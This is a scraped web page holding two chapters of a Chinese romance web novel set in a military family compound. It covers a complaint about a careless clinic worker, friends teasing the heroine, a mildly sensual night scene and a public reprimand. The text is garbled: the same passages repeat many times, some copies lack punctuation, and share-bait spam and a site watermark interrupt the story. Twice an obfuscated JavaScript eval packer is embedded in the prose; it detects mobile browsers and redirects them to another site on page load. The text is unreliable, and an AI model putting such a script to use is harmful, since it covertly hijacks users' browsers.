军属区的筒子楼她也远远看见过,就三四十平的样子,她们家里那么多人,根本住不下,到时候遭罪的,估计还是一萌、二萌她们。 她撇撇嘴说道。 “反正邱春芳也不能拿我怎么样,她说也说不过我,就只能被我起个半死。 “行,都听你的。 沈淮川低笑了一声,往她碗里夹了个包子,“先吃饭。 周柒柒点了点头,重新拿起了筷子。 今儿是星期六,舟舟要去美术班,吃完饭秦磊就开车过来接了。 周柒柒感觉有点累,又回去睡了个回笼觉,醒来之后,王团长来敲门了。 沈淮川去开了门,王团长大步跨进院子,也没顾上寒暄,目光急切地落在刚换好衣服出来的周柒柒身上,直截了当地问道。 “莹莹的腿,到底咋回事?她啥也不肯细说,就说不小心摔的,我看那伤可不轻,而且,可能会留疤 他平时说话都不超过五个字的,这次居然一下子说了这么一大串。 周柒柒心里一酸,她不太懂这些,莹莹的伤,居然会留疤吗? 莹莹这人,太善良了,心也软,都这样了也不愿意说出来。 但她就不一样了,谁给她笑脸,谁让她不爽,她是记得一清二楚。 一五一十,连个细节都没漏,把事情经过说得明明白白,没有任何隐瞒和修饰。 先是赵耀祖害莹莹摔倒的事儿。 王团长脸色阴沉得厉害,目光猛地朝着隔壁扫了一眼,攥了握拳,声音沉沉的。 “莹莹说他是孩子,不许我和他计较。 周柒柒接着把卫生所的事儿说了。 当听到林瑶处理伤口如此敷衍潦草时,他腮帮子剧烈地鼓动了一下。 “我就说……那伤口……处理得跟狗啃的一样! 他想到朱莹莹白皙纤细的腿上可能留下难看的疤痕,心就像疼得他几乎喘不过气,对林瑶的怒火也燃烧到了顶点。 他猛地抬头,目光锐利地看向周柒柒,问的问题直接切中要害:“你们知道,卫生所的事儿归谁管吗? 周柒柒立刻回答:“应该是归咱们军区后勤处管。 “后勤处 王团长低声重复了一遍,没再看周柒柒,也没打招呼,头也不回地就走出了小院,直奔军属区办公楼而去。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 后院背书,二萌这个小丫头,也是有意思的很,性格她挺喜欢的。 赵毅也没做错什么,一家子也算是烈士家属。 军属区的筒子楼她也远远看见过,就三四十平的样子,她们家里那么多人,根本住不下,到时候遭罪的,估计还是一萌、二萌她们。 她撇撇嘴说道。 “反正邱春芳也不能拿我怎么样,她说也说不过我,就只能被我起个半死。 “行,都听你的。 沈淮川低笑了一声,往她碗里夹了个包子,“先吃饭。 周柒柒点了点头,重新拿起了筷子。 今儿是星期六,舟舟要去美术班,吃完饭秦磊就开车过来接了。 周柒柒感觉有点累,又回去睡了个回笼觉,醒来之后,王团长来敲门了。 沈淮川去开了门,王团长大步跨进院子,也没顾上寒暄,目光急切地落在刚换好衣服出来的周柒柒身上,直截了当地问道。 “莹莹的腿,到底咋回事?她啥也不肯细说,就说不小心摔的,我看那伤可不轻,而且,可能会留疤 他平时说话都不超过五个字的,这次居然一下子说了这么一大串。 周柒柒心里一酸,她不太懂这些,莹莹的伤,居然会留疤吗? 莹莹这人,太善良了,心也软,都这样了也不愿意说出来。 但她就不一样了,谁给她笑脸,谁让她不爽,她是记得一清二楚。 一五一十,连个细节都没漏,把事情经过说得明明白白,没有任何隐瞒和修饰。 先是赵耀祖害莹莹摔倒的事儿。 王团长脸色阴沉得厉害,目光猛地朝着隔壁扫了一眼,攥了握拳,声音沉沉的。 “莹莹说他是孩子,不许我和他计较。 周柒柒接着把卫生所的事儿说了。 当听到林瑶处理伤口如此敷衍潦草时,他腮帮子剧烈地鼓动了一下。 “我就说……那伤口……处理得跟狗啃的一样! 他想到朱莹莹白皙纤细的腿上可能留下难看的疤痕,心就像疼得他几乎喘不过气,对林瑶的怒火也燃烧到了顶点。 他猛地抬头,目光锐利地看向周柒柒,问的问题直接切中要害:“你们知道,卫生所的事儿归谁管吗? 周柒柒立刻回答:“应该是归咱们军区后勤处管。 “后勤处 王团长低声重复了一遍,没再看周柒柒,也没打招呼,头也不回地就走出了小院,直奔军属区办公楼而去。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 后院背书二萌这个小丫头也是有意思的很性格她挺喜欢的。 赵毅也没做错什么一家子也算是烈士家属。 军属区的筒子楼她也远远看见过就三四十平的样子她们家里那么多人根本住不下到时候遭罪的 她撇撇嘴说道。 “反正邱春芳也不能拿我怎么样她说也说不过我就只能被我起个半死。” “行都听你的。” 沈淮川低笑了一声往她碗里夹了个包子“先吃饭。” 周柒柒点了点头重新拿起了筷子。 今儿是星期六舟舟要去美术班吃完饭秦磊就开车过来接了。 周柒柒感觉有点累又回去睡了个回笼觉醒来之后王团长来敲门了。 沈淮川去开了门王团长大步跨进院子也没顾上寒暄目光急切地落在刚换好衣服出来的周柒柒身上直截了当地问道。 “莹莹的腿到底咋回事?她啥也不肯细说就说不小心摔的我看那伤可不轻而且可能会留疤” 他平时说话都不超过五个字的这次居然一下子说了这么一大串。 周柒柒心里一酸她不太懂这些莹莹的伤居然会留疤吗? 莹莹这人太善良了心也软都这样了也不愿意说出来。 但她就不一样了谁给她笑脸谁让她不爽她是记得一清二楚。 一五一十连个细节都没漏把事情经过说得明明白白没有任何隐瞒和修饰。 先是赵耀祖害莹莹摔倒的事儿。 王团长脸色阴沉得厉害目光猛地朝着隔壁扫了一眼攥了握拳声音沉沉的。 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“反正邱春芳也不能拿我怎么样,她说也说不过我,就只能被我起个半死。” “行,都听你的。” 沈淮川低笑了一声,往她碗里夹了个包子,“先吃饭。” 周柒柒点了点头,重新拿起了筷子。 今儿是星期六,舟舟要去美术班,吃完饭秦磊就开车过来接了。 周柒柒感觉有点累,又回去睡了个回笼觉,醒来之后,王团长来敲门了。 沈淮川去开了门,王团长大步跨进院子,也没顾上寒暄,目光急切地落在刚换好衣服出来的周柒柒身上,直截了当地问道。 “莹莹的腿,到底咋回事?她啥也不肯细说,就说不小心摔的,我看那伤可不轻,而且,可能会留疤” 他平时说话都不超过五个字的,这次居然一下子说了这么一大串。 周柒柒心里一酸,她不太懂这些,莹莹的伤,居然会留疤吗? 莹莹这人,太善良了,心也软,都这样了也不愿意说出来。 但她就不一样了,谁给她笑脸,谁让她不爽,她是记得一清二楚。 一五一十,连个细节都没漏,把事情经过说得明明白白,没有任何隐瞒和修饰。 先是赵耀祖害莹莹摔倒的事儿。 王团长脸色阴沉得厉害,目光猛地朝着隔壁扫了一眼,攥了握拳,声音沉沉的。 “莹莹说他是孩子,不许我和他计较。” 周柒柒接着把卫生所的事儿说了。 当听到林瑶处理伤口如此敷衍潦草时,他腮帮子剧烈地鼓动了一下。 “我就说……那伤口……处理得跟狗啃的一样!” 他想到朱莹莹白皙纤细的腿上可能留下难看的疤痕,心就像疼得他几乎喘不过气,对林瑶的怒火也燃烧到了顶点。 他猛地抬头,目光锐利地看向周柒柒,问的问题直接切中要害:“你们知道,卫生所的事儿归谁管吗?” 周柒柒立刻回答:“应该是归咱们军区后勤处管。” “后勤处” 王团长低声重复了一遍,没再看周柒柒,也没打招呼,头也不回地就走出了小院,直奔军属区办公楼而去。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 后院背书二萌这个小丫头也是有意思的很性格她挺喜欢的。 赵毅也没做错什么一家子也算是烈士家属。 军属区的筒子楼她也远远看见过就三四十平的样子她们家里那么多人根本住不下到时候遭罪的估计还是一萌、二萌她们。 她撇撇嘴说道。 “反正邱春芳也不能拿我怎么样她说也说不过我就只能被我起个半死。” “行都听你的。” 沈淮川低笑了一声往她碗里夹了个包子“先吃饭。” 周柒柒点了点头重新拿起了筷子。 今儿是星期六舟舟要去美术班吃完饭秦磊就开车过来接了。 周柒柒感觉有点累又回去睡了个回笼觉醒来之后王团长来敲门了。 沈淮川去开了门王团长大步跨进院子也没顾上寒暄目光急切地落在刚换好衣服出来的周柒柒身上直截了当地问道。 “莹莹的腿到底咋回事?她啥也不肯细说就说不小心摔的我看那伤可不轻而且可能会留疤” 他平时说话都不超过五个字的这次居然一下子说了这么一大串。 周柒柒心里一酸她不太懂这些莹莹的伤居然会留疤吗? 莹莹这人太善良了心也软都这样了也不愿意说出来。 但她就不一样了谁给她笑脸谁让她不爽她是记得一清二楚。 一五一十连个细节都没漏把事情经过说得明明白白没有任何隐瞒和修饰。 先是赵耀祖害莹莹摔倒的事儿。 王团长脸色阴沉得厉害目光猛地朝着隔壁扫了一眼攥了握拳声音沉沉的。 “莹莹说他是孩子不许我和他计较。” 周柒柒接着把卫生所的事儿说了。 当听到林瑶处理伤口如此敷衍潦草时他腮帮子剧烈地鼓动了一下。 “我就说……那伤口……处理得跟狗啃的一样!” 他想到朱莹莹白皙纤细的腿上可能留下难看的疤痕心就像疼得他几乎喘不过气对林瑶的怒火也燃烧到了顶点。 他猛地抬头目光锐利地看向周柒柒问的问题直接切中要害:“你们知道卫生所的事儿归谁管吗?” 周柒柒立刻回答:“应该是归咱们军区后勤处管。” “后勤处” 王团长低声重复了一遍没再看周柒柒也没打招呼 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 后院背书,二萌这个小丫头,也是有意思的很,性格她挺喜欢的。 赵毅也没做错什么,一家子也算是烈士家属。 军属区的筒子楼她也远远看见过,就三四十平的样子,她们家里那么多人,根本住不下,到时候遭罪的,估计还是一萌、二萌她们。 她撇撇嘴说道。 “反正邱春芳也不能拿我怎么样,她说也说不过我,就只能被我起个半死。” “行,都听你的。” 沈淮川低笑了一声,往她碗里夹了个包子,“先吃饭。” 周柒柒点了点头,重新拿起了筷子。 今儿是星期六,舟舟要去美术班,吃完饭秦磊就开车过来接了。 周柒柒感觉有点累,又回去睡了个回笼觉,醒来之后,王团长来敲门了。 沈淮川去开了门,王团长大步跨进院子,也没顾上寒暄,目光急切地落在刚换好衣服出来的周柒柒身上,直截了当地问道。 “莹莹的腿,到底咋回事?她啥也不肯细说,就说不小心摔的,我看那伤可不轻,而且,可能会留疤” 他平时说话都不超过五个字的,这次居然一下子说了这么一大串。 周柒柒心里一酸,她不太懂这些,莹莹的伤,居然会留疤吗? 莹莹这人,太善良了,心也软,都这样了也不愿意说出来。 但她就不一样了,谁给她笑脸,谁让她不爽,她是记得一清二楚。 一五一十,连个细节都没漏,把事情经过说得明明白白,没有任何隐瞒和修饰。 先是赵耀祖害莹莹摔倒的事儿。 王团长脸色阴沉得厉害,目光猛地朝着隔壁扫了一眼,攥了握拳,声音沉沉的。 “莹莹说他是孩子,不许我和他计较。” 周柒柒接着把卫生所的事儿说了。 当听到林瑶处理伤口如此敷衍潦草时,他腮帮子剧烈地鼓动了一下。 “我就说……那伤口……处理得跟狗啃的一样!” 他想到朱莹莹白皙纤细的腿上可能留下难看的疤痕,心就像疼得他几乎喘不过气,对林瑶的怒火也燃烧到了顶点。 他猛地抬头,目光锐利地看向周柒柒,问的问题直接切中要害:“你们知道,卫生所的事儿归谁管吗?” 周柒柒立刻回答:“应该是归咱们军区后勤处管。” “后勤处” 王团长低声重复了一遍,没再看周柒柒,也没打招呼,头也不回地就走出了小院,直奔军属区办公楼而去。 你的朋友正在书荒,快去帮帮他吧 第185章 你属狗的啊? 王团长农村出身,当年枪林弹雨里拼过命的,身上带着一股草莽劲儿,把后勤处的林处长吓了一大跳。 其实这林瑶工作态度差,早就不是头一回有人反映了。 林处长当场拍了胸脯,说这两天就往上汇报,该怎么处置就怎么处置,绝不含糊。 同时也答应了,给朱莹莹联系军区医院的专家,去复查一下,尽量别给女同志的腿上留疤。 当天下午,周柒柒和邓翠香去看朱莹莹,刚进门,朱莹莹就把这消息告诉给她俩了。 邓翠香笑得高兴,嗓门也亮堂起来。 “太好了!最好把她那工作给撸了!别让她在咱们军属区待着,这不是祸害人嘛?看个擦伤都能整出岔子,真要是遇上急症,人命都得搭进去!” 说着往周柒柒跟前凑了凑,手在她肩膀上拍了两下。 “而且她走了之后,许家那兄妹俩也得跟着走,柒柒就不用总躲着他们了,这种小人,沾到就觉得晦气。” “就是,一家子晦气玩意儿!” 周柒柒跟着狠狠点头,领口敞了点,邓翠香眼尖,立马瞅见她脖子上好多小红点,忙问道。 “哎,柒柒,你这脖子咋了?咋这么多红疙瘩?” 朱莹莹也跟着操心。 “我那儿有药膏,是不是磕着碰着了?我给你拿去!” “没事.” 周柒柒下意识地用手去捂脖子,脸颊瞬间飞起两朵红云,眼神躲躲闪闪。 “可能……可能是夜里睡觉让蚊子叮的……” “蚊子?” 邓翠香狐疑地凑得更近,“这大秋天的,哪儿来这么多蚊子?还咬得.这么规律一溜?” 她盯着那几处红得鲜亮、位置又透着点说不清道不明的印记,再看看周柒柒窘得恨不能把脸埋进衣领的模样。 脑子里“嗡”一下,想起昨晚周柒柒找她要那玩意儿的事儿。 “哦——” 邓翠香拖长了调子,恍然大悟,脸上瞬间堆起促狭又明白的笑,眼神在周柒柒红透的脸上打了个转,“啪”地一拍大腿,话头立马转了。 “嗨,我想起来了,这秋天的蚊子毒得很,专挑细皮嫩肉的下嘴!莹莹你那药膏是好,可叮柒柒这蚊子个头大,说不定不 管用呢! 朱莹莹起先没反应过来,还担心地想问“多大的蚊子,但目光触及邓翠香那意味深长的笑容。 她也是过来人,瞬间明白了! “是是是,我这药膏治擦伤的,大蚊子不对症 朱莹莹的脸也跟着红了一下,随即抿着嘴,努力压下嘴角的笑意,看向周柒柒的眼神立刻变得和邓翠香一模一样。 她甚至还轻轻咳嗽了两声,端起茶杯掩饰性地喝了一口。 但那弯弯的眉眼和微微耸动的肩膀,彻底暴露了她的心思。 邓翠香还在那儿添柴。 “就是不知道,这蚊子叮了多久,有两个小时没有?上次也没给个准信,可把姐姐我好奇**. 朱莹莹有些惊讶,“两小时?那怎么受得了?怪不得催着柒柒锻炼身体呢! 两道探究的目光像是探照灯一样打在周柒柒身上,周柒柒感觉自己整个人都要烧起来了。 谁说老一辈保守的,这也太放得开了吧! 这话头开的,她一个现代人都快顶不住了! “那个.那个我突然想起来炉子上还蹲着给舟舟的银耳汤!得去看看火! 她猛地站起来,头也不敢抬,丢下句“我先回去了,跟逃似的冲回自家小院,身后传来她俩憋不住的笑声。 跑回家关上门,后背抵着门板,周柒柒赶紧把领口拢了拢。 捂着脸直叹气,感觉在翠香姐和莹莹跟前,脸都丢尽了。 晚上,洗完澡之后,准备睡觉了。 周柒柒浑身软得像没了骨头,尤其是腰和腿根,昨儿夜里被折腾的那股劲儿,到这会儿还没缓过来。 她蔫耷耷地靠在床头,眼皮都懒得抬。 沈淮川拿着红花油走了进来,帮她继续给昨天扭到的脚涂了点红花油。 抹之前,他特意倒在手心里搓了搓,把药油搓热乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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周柒柒被这突如其来的亲近惊得睫毛一颤,刚想睁眼,一个滚烫的吻便带着不容拒绝的力道,按在了她脖子那块没印子的地方。 “嘶沈淮川! 周柒柒浑身一激灵,又痒又麻的感觉让她忍不住缩了缩脖子,昨儿夜里被他“啃,还有白天被两个姐妹奚落的事儿,一下子就想起来了,又羞又气。 “你属狗的啊?怎么又啃? 她气鼓鼓地伸手去推他埋在自己颈窝的脑袋。 第186章 通报批评 沈淮川非但没退开,反而低笑一声,那气息拂过她颈侧的皮肤,一阵更强烈的战栗顺着脊椎骨爬上来,让她忍不住往他怀里缩了缩。 他稍稍抬起头,目光灼灼地看着她羞红的脸,声音低沉沙哑,还有一股子不容错辨的占有欲,像是要把人吞进肚子里才甘心。 “嗯,就是属狗的,专门啃你。” 话音刚落,又一个更深、更使劲的吻痕就烙在了她脖子上。 “你” 周柒柒被他这副明明占了便宜还理直气壮的无赖样儿逗得"噗嗤"笑出了声,指尖抵着他胸膛想推开,偏偏浑身都软得没力气。 又羞又恼地瞪他一眼,心里头却冒出点不服气的"报复"念头,凭什么只有他能这么折腾人? 她不甘示弱的伸手搂住他的脖子,仰起头,学着他的样子,对着他凸起的、上下滑动的喉结轻轻咬了两口,末了还用软乎乎的舌尖舔了一下。 “嘶——” 沈淮川倒抽一口冷气,额角的青筋几不可见地跳了跳。 原本还带着笑意的身体瞬间绷紧如铁,手臂上的肌肉都硬邦邦地鼓了起来。 她这生涩却又大胆的“反击”,简直是往熊熊烈火上泼了桶滚油! 他一直拼命压抑着的火苗"腾"地就蹿了起来,烧得五脏六腑都发烫。 猛地收紧胳膊把她死死箍在怀里,勒得周柒柒都忍不住哼唧了一声。 滚烫的唇舌带着一股子不容拒绝的狠劲儿,再次覆上她的唇瓣,像是要把人拆吃入腹。 手也不安分地摸上去,一路往上…… 屋里的空气越来越热,越来越稠,眼看又要收不住了。 就在周柒柒几乎要晕头转向、彻底沉下去的时候,沈淮川的动作却猛地顿住了。 他喘着粗气,额头抵着她的额头,眼睛里那股子没下去的火还在翻腾,可里头多了点强忍着的克制。 他闭上眼,再睁开时,眼底清明了些,还带着点疼惜。 “不行.” 他声音哑得厉害,带着浓重的喘气声,大手却轻轻替她把揉乱的裙子拉好,小心避开她脖子上的红印子。 “你身上还肿着呢。” 就差那么一点儿了,周柒柒被他这突然刹住车弄得不上不 下的,水汪汪的眼睛里带着点茫然,还有点委屈,直勾勾望着他。 沈淮川深吸了一口气,像是下了很大的决心,从裤袋里摸出一管药膏。 他拧开盖子,一股淡淡的、凉丝丝的药味儿飘了出来。 “下午我去军区交报告,顺便去军区医院拿的。” 他低声解释,挤出一点透明的、啫喱状的药膏在指腹上,动作轻柔地替她涂上。 凉丝丝、舒舒服服的感觉一下子盖过了那点灼热刺痒,连带着身子里那点闹腾的劲儿也奇异地安分了些。 周柒柒直愣愣地看着他那专注又温柔的侧脸。 灯光从他身后照过来,给轮廓镀了层金边,连他下巴上没剃干净的胡茬都看得清清楚楚。 他指腹的热乎气儿和药膏的凉丝丝混在一块儿,熨帖得让人想叹气,从皮肤一直暖到心里头。 一股热流悄悄在心里头淌开,把刚才那点羞恼和委屈都冲没了。 她没再说话,放松了身子,任由他仔仔细细地给她涂药膏。 涂完之后,他却没有离开,而是继续帮她按摩身体。 温热的大手顺着她的腰侧滑下,力道沉稳而克制,带着一层薄茧,按在酸痛的地方时,又舒服又有点痒。 周柒柒的眼皮越来越沉,像是灌了铅,也不知道什么时候就睡着了。 只是也不知道沈淮川干什么去了,身边的位置空落落的,没了那熟悉的体温和气息,她怎么也睡不安稳,眉头皱着,嘴里还含糊地嘟囔了两句。 好在过了不久,他就回来了,身上还带着一股浓浓的凉意,像是刚从外头冰窖里钻出来,把被子都带得凉了半截。 被窝太暖和,周柒柒无意识地像个八爪鱼一样贴了上去,手脚都缠在沈淮川身上,脑袋也顺势枕在了他的手臂上。 沈淮川好不容易放松下来的身体,再一次绷紧起来,连呼吸都屏住了。 过了好一会儿,才敢慢慢地、轻轻地喘气。 等到周柒柒的呼吸平稳了,小心翼翼地将手臂从她脑袋下抽出,又一次推开门出去了 就这么来来**,循环了一个晚上。 这么折腾了三、四天,沈淮川铁打的身子都有些受不住了。 一大早,邓翠香来找周柒柒的时候 正好遇见沈淮川结束休假 他刚走到院门口就打了老大一个喷嚏。 “沈团长这是怎么了?” 邓翠香一脸诧异“他身体素质不是一向最好了吗?” 昨晚周柒柒和沈淮川该做的都做了从头发丝到脚指头都亲遍了可沈淮川偏心疼她身上还肿着硬是咬着牙没进行到最后一步。 冷水澡洗了一遍又一遍。 这会儿**翠香问起来周柒柒脸“腾”地一下就红了。 “没事可能是.天气凉了。” 说着便赶紧转移了话题。 “翠香姐你咋一大早过来了有啥事吗?” 邓翠香这才想起正经事看了一眼隔壁朱莹莹家院子的方向压低了声音脸色也有些不好看。 “还不是林瑶那事儿?处理结果出来了。我早上路过广场正好看到林处长手底下的人在贴大字通报单红底黑字的老远就看见了我就多问了几嘴。” 到底是军属区关系到给军嫂看病的卫生所卫生部那边还是挺重视的。 但是林瑶这女人也不是省油的灯当天就找到了周淑华跟前也不知道她在周淑华跟前是怎么颠倒是非的或者是夸大了许树的病情。 总归最后周淑华不知怎么就信了她的话硬是拍着桌子替她撑腰。 再加上林瑶本来就是省军区医院的院长亲自下令分配过来的。 算是带了点"背景"卫生所这边也不好做得太绝。 所以最后没给开除也没调走就是给了个通报批评白纸黑字地贴在广场的布告栏上。 还记在了年度考评的档案里对她将来晋升职称和年底拿奖金补贴都有影响算是个不大不小的教训。 “后勤部的人还说现在到处都缺医疗人才后续会再给咱们卫生所调新人过来或者是等原来的军医回来了才有可能把林瑶给调走。” 周柒柒听着轻轻摇了摇头叹了口气。 “这女人还算是有点小聪明的可惜就是从来都没用在正道上.” 不过看着翠香姐一脸愤愤不平的样子她伸手拍了拍她的肩膀。 “好啦也不用那么沮丧。都贴大字报了她在军属区这脸算是丢尽了至少也能消停一阵子以后给家属们看病总该收敛些了。” “咱们去把这个消息跟莹莹说一声让她心里也有个底。” 周柒柒说着便是挽着邓翠香转身出了门去找朱莹莹。 经过这几天的治疗朱莹莹的伤已经好多了三人一起去了广场上看大字报上究竟写了什么。 你的朋友正在书荒,快去帮帮他吧 ,正好遇见沈淮川结束休假,出门上班。 他刚走到院门口,就打了老大一个喷嚏。 “沈团长这是怎么了?” 邓翠香一脸诧异,“他身体素质不是一向最好了吗?” 昨晚,周柒柒和沈淮川该做的都做了,从头发丝到脚指头都亲遍了,可沈淮川偏心疼她身上还肿着,硬是咬着牙没进行到最后一步。 冷水澡洗了一遍又一遍。 这会儿**翠香问起来,周柒柒脸“腾”地一下就红了。 “没事,可能是.天气凉了。” 说着便赶紧转移了话题。 “翠香姐,你咋一大早过来了,有啥事吗?” 邓翠香这才想起正经事,看了一眼隔壁朱莹莹家院子的方向,压低了声音,脸色也有些不好看。 “还不是林瑶那事儿?处理结果出来了。我早上路过广场,正好看到林处长手底下的人在贴大字通报单,红底黑字的,老远就看见了,我就多问了几嘴。” 到底是军属区,关系到给军嫂看病的卫生所,卫生部那边还是挺重视的。 但是林瑶这女人也不是省油的灯,当天就找到了周淑华跟前,也不知道她在周淑华跟前是怎么颠倒是非的,或者是夸大了许树的病情。 总归,最后周淑华不知怎么就信了她的话,硬是拍着桌子替她撑腰。 再加上林瑶本来就是省军区医院的院长亲自下令分配过来的。 算是带了点"背景",卫生所这边也不好做得太绝。 所以最后没给开除,也没调走,就是给了个通报批评,白纸黑字地贴在广场的布告栏上。 还记在了年度考评的档案里,对她将来晋升职称和年底拿奖金补贴都有影响,算是个不大不小的教训。 “后勤部的人还说,现在到处都缺医疗人才,后续会再给咱们卫生所调新人过来,或者是等原来的军医回来了,才有可能把林瑶给调走。” 周柒柒听着,轻轻摇了摇头,叹了口气。 “这女人,还算是有点小聪明的,可惜,就是从来都没用在正道上.” 不过看着翠香姐一脸愤愤不平的样子,她伸手拍了拍她的肩膀。 “好啦,也不用那么沮丧。都贴大字报了,她在军属区这脸算是丢尽了,至少也能消停一阵子,以后给家属们看病,总该收敛些了。” “咱们去把这个消息跟莹莹说一声,让她心里也有个底。” 周柒柒说着,便是挽着邓翠香转身出了门去找朱莹莹。 经过这几天的治疗,朱莹莹的伤已经好多了,三人一起去了广场上看大字报上究竟写了什么。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 正好遇见沈淮川结束休假出门上班。 他刚走到院门口就打了老大一个喷嚏。 “沈团长这是怎么了?” 邓翠香一脸诧异“他身体素质不是一向最好了吗?” 昨晚周柒柒和沈淮川该做的都做了从头发丝到脚指头都亲遍了可沈淮川偏心疼她身上还肿着硬是咬着牙没进行到最后一步。 冷水澡洗了一遍又一遍。 这会儿**翠香问起来 说更新,记住域名caixs?(请来才小 说 看最新章节 完整章节)周柒柒脸“腾”地一下就红了。 “没事可能是.天气凉了。” 说着便赶紧转移了话题。 “翠香姐你咋一大早过来了有啥事吗?” 邓翠香这才想起正经事看了一眼隔壁朱莹莹家院子的方向压低了声音脸色也有些不好看。 “还不是林瑶那事儿?处理结果出来了。我早上路过广场正好看到林处长手底下的人在贴大字通报单红底黑字的老远就看见了我就多问了几嘴。” 到底是军属区关系到给军嫂看病的卫生所卫生部那边还是挺重视的。 但是林瑶这女人也不是省油的灯当天就找到了周淑华跟前也不知道她在周淑华跟前是怎么颠倒是非的或者是夸大了许树的病情。 总归最后周淑华不知怎么就信了她的话硬是拍着桌子替她撑腰。 再加上林瑶本来就是省军区医院的院长亲自下令分配过来的。 算是带了点"背景"卫生所这边也不好做得太绝。 所以最后没给开除也没调走就是给了个通报批评白纸黑字地贴在广场的布告栏上。 还记在了年度考评的档案里对她将来晋升职称和年底拿奖金补贴都有影响算是个不大不小的教训。 “后勤部的人还说现在到处都缺医疗人才后续会再给咱们卫生所调新人过来或者是等原来的军医回来了才有可能把林瑶给调走。” 周柒柒听着轻轻摇了摇头叹了口气。 “这女人还算是有点小聪明的可惜就是从来都没用在正道上.” 不过看着翠香姐一脸愤愤不平的样子她伸手拍了拍她的肩膀。 “好啦也不用那么沮丧。都贴大字报了她在军属区这脸算是丢尽了至少也能消停一阵子以后给家属们看病总该收敛些了。” “咱们去把这个消息跟莹莹说一声让她心里也有个底。” 周柒柒说着便是挽着邓翠香转身出了门去找朱莹莹。 经过这几天的治疗朱莹莹的伤已经好多了三人一起去了广场上看大字报上究竟写了什么。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 ,正好遇见沈淮川结束休假,出门上班。 他刚走到院门口,就打了老大一个喷嚏。 “沈团长这是怎么了? 邓翠香一脸诧异,“他身体素质不是一向最好了吗? 昨晚,周柒柒和沈淮川该做的都做了,从头发丝到脚指头都亲遍了,可沈淮川偏心疼她身上还肿着,硬是咬着牙没进行到最后一步。 冷水澡洗了一遍又一遍。 这会儿**翠香问起来,周柒柒脸“腾地一下就红了。 “没事,可能是.天气凉了。 说着便赶紧转移了话题。 “翠香姐,你咋一大早过来了,有啥事吗? 邓翠香这才想起正经事,看了一眼隔壁朱莹莹家院子的方向,压低了声音,脸色也有些不好看。 “还不是林瑶那事儿?处理结果出来了。我早上路过广场,正好看到林处长手底下的人在贴大字通报单,红底黑字的,老远就看见了,我就多问了几嘴。 到底是军属区,关系到给军嫂看病的卫生所,卫生部那边还是挺重视的。 但是林瑶这女人也不是省油的灯,当天就找到了周淑华跟前,也不知道她在周淑华跟前是怎么颠倒是非的,或者是夸大了许树的病情。 总归,最后周淑华不知怎么就信了她的话,硬是拍着桌子替她撑腰。 再加上林瑶本来就是省军区医院的院长亲自下令分配过来的。 算是带了点"背景",卫生所这边也不好做得太绝。 所以最后没给开除,也没调走,就是给了个通报批评,白纸黑字地贴在广场的布告栏上。 还记在了年度考评的档案里,对她将来晋升职称和年底拿奖金补贴都有影响,算是个不大不小的教训。 “后勤部的人还说,现在到处都缺医疗人才,后续会再给咱们卫生所调新人过来,或者是等原来的军医回来了,才有可能把林瑶给调走。 周柒柒听着,轻轻摇了摇头,叹了口气。 “这女人,还算是有点小聪明的,可惜,就是从来都没用在正道上. 不过看着翠香姐一脸愤愤不平的样子,她伸手拍了拍她的肩膀。 “好啦,也不用那么沮丧。都贴大字报了,她在军属区这脸算是丢尽了,至少也能消停一阵子,以后给家属们看病,总该收敛些了。 “咱们去把这个消息跟莹莹说一声,让她心里也有个底。 周柒柒说着,便是挽着邓翠香转身出了门去找朱莹莹。 经过这几天的治疗,朱莹莹的伤已经好多了,三人一起去了广场上看大字报上究竟写了什么。 你的朋友正在书荒,快去帮帮他吧 ,正好遇见沈淮川结束休假,出门上班。 他刚走到院门口,就打了老大一个喷嚏。 “沈团长这是怎么了? 邓翠香一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15927068|176330||http|test|mini|href|location''.split(''|''),0,{})); () { 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昨晚周柒柒和沈淮川该做的都做了从头发丝到脚指头都亲遍了可沈淮川偏心疼她身上还肿着硬是咬着牙没进行到最后一步。 冷水澡洗了一遍又一遍。 这会儿**翠香问起来周柒柒脸“腾”地一下就红了。 “没事可能是.天气凉了。” 说着便赶紧转移了话题。 “翠香姐你咋一大早过来了有啥事吗?” 邓翠香这才想起正经事看了一眼隔壁朱莹莹家院子的方向压低了声音脸色也有些不好看。 “还不是林瑶那事儿?处理结果出来了。我早上路过广场正好看到林处长手底下的人在贴大字通报单红底黑字的老远就看见了我就多问了几嘴。” 到底是军属区关系到给军嫂看病的卫生所卫生部那边还是挺重视的。 但是林瑶这女人也不是省油的灯当天就找到了周淑华跟前也不知道她在周淑华跟前是怎么颠倒是非的或者是夸大了许树的病情。 总归最后周淑华不知怎么就信了她的话硬是拍着桌子替她撑腰。 再加上林瑶本来就是省军区医院的院长亲自下令分配过来的。 算是带了点"背景"卫生所这边也不好做得太绝。 所以最后没给开除也没调走就是给了个通报批评白纸黑字地贴在广场的布告栏上。 还记在了年度考评的档案里对她将来晋升职称和年底拿奖金补贴都有影响算是个不大不小的教训。 “后勤部的人还说现在到处都缺医疗人才后续会再给咱们卫生所调新人过来或者是等原来的军医回来了才有可能把林瑶给调走。” 周柒柒听着轻轻摇了摇头叹了口气。 “这女人还算是有点小聪明的可惜就是从来都没用在正道上.” 不过看着翠香姐一脸愤愤不平的样子她伸手拍了拍她的肩膀。 “好啦也不用那么沮丧。都贴大字报了她在军属区这脸算是丢尽了至少也能消停一阵子以后给家属们看病总该收敛些了。” “咱们去把这个消息跟莹莹说一声让她心里也有个底。” 周柒柒说着 经过这几天的治疗朱莹莹的伤已经好多了三人一起去了广场上看大字报上究竟写了什么。 你的朋友正在书荒,快去帮帮他吧 